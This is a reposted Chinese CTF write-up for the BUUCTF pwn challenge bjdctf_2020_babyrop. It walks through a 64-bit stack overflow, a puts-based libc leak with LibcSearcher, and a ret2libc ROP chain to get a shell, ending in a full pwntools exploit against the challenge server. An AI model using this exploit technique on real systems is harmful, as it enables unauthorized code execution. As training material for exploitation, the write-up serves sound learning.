[BUUCTF]PWN——bjdctf_2020_babyrop

   日期:2020-10-09     浏览:213    评论:0    
核心提示:bjdctf_2020_babyrop[64位libc泄露]题目附件解题步骤:例行检查,64位程序,开启了NX保护试运行一下程序,看看大概的情况,看提示,应该是道泄露libc的题目64位ida载入,shift+f12检索程序里的字符串,没有找到可以直接使用的system(’/bin/sh’)从main函数开始看程序main函数调用了一个vuln函数buf的大小是0x20,read读入的长度是0x64,明显的溢出漏洞根据已有的信息和得到的提示,是一道64位的libc泄露利用思路:

bjdctf_2020_babyrop[64位libc泄露]

题目附件

解题步骤:
例行检查,64位程序,开启了NX保护

试运行一下程序,看看大概的情况,看提示,应该是道泄露libc的题目

64位ida载入,shift+f12检索程序里的字符串,没有找到可以直接使用的system(’/bin/sh’)

从main函数开始看程序

main函数调用了一个vuln函数

buf的大小是0x20,read读入的长度是0x64,明显的溢出漏洞

根据已有的信息和得到的提示,是一道64位的libc泄露

利用思路:

  1. 利用puts函数去泄露libc版本(一定是使用程序里已经调用过的函数才可以)
  2. 计算偏移量,算出程序里的system函数和字符串“/bin/sh”的地址
  3. 利用溢出漏洞,构造rop,获取shell

利用过程:

  1. 泄露libc
    64位程序在传参的时候需要用到寄存器
    当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
    当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。
    我们找一下设置rdi寄存器的指令
ROPgadget --binary bjdctf_2020_babyrop |grep "pop rdi"

payload='a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_addr)
  1. 计算system和bin/sh的实际地址
offset=puts_addr-libc.dump('puts')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
  1. 构造rop,获取shell
payload='a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)

基本上的过程就是这样,在泄露libc的时候有关recv接收几个字节的具体的推荐内容,推荐加上context.log_level='debug'这句代码,自己调试,自己看看

完整EXP

from pwn import *
from LibcSearcher import *

r=remote('node3.buuoj.cn',28032)
elf=ELF('./bjdctf_2020_babyrop')
context.log_level='debug'

main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400733

payload='a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))

libc=LibcSearcher('puts',puts_addr)

offset=puts_addr-libc.dump('puts')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

payload='a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)

r.interactive()

匹配到多个libc,选第一个

 
打赏
 本文转载自:网络 
所有权利归属于原作者,如文章来源标示错误或侵犯了您的权利请联系微信13520258486
更多>最近资讯中心
更多>最新资讯中心
0相关评论

推荐图文
推荐资讯中心
点击排行
最新信息
新手指南
采购商服务
供应商服务
交易安全
关注我们
手机网站:
新浪微博:
微信关注:

13520258486

周一至周五 9:00-18:00
(其他时间联系在线客服)

24小时在线客服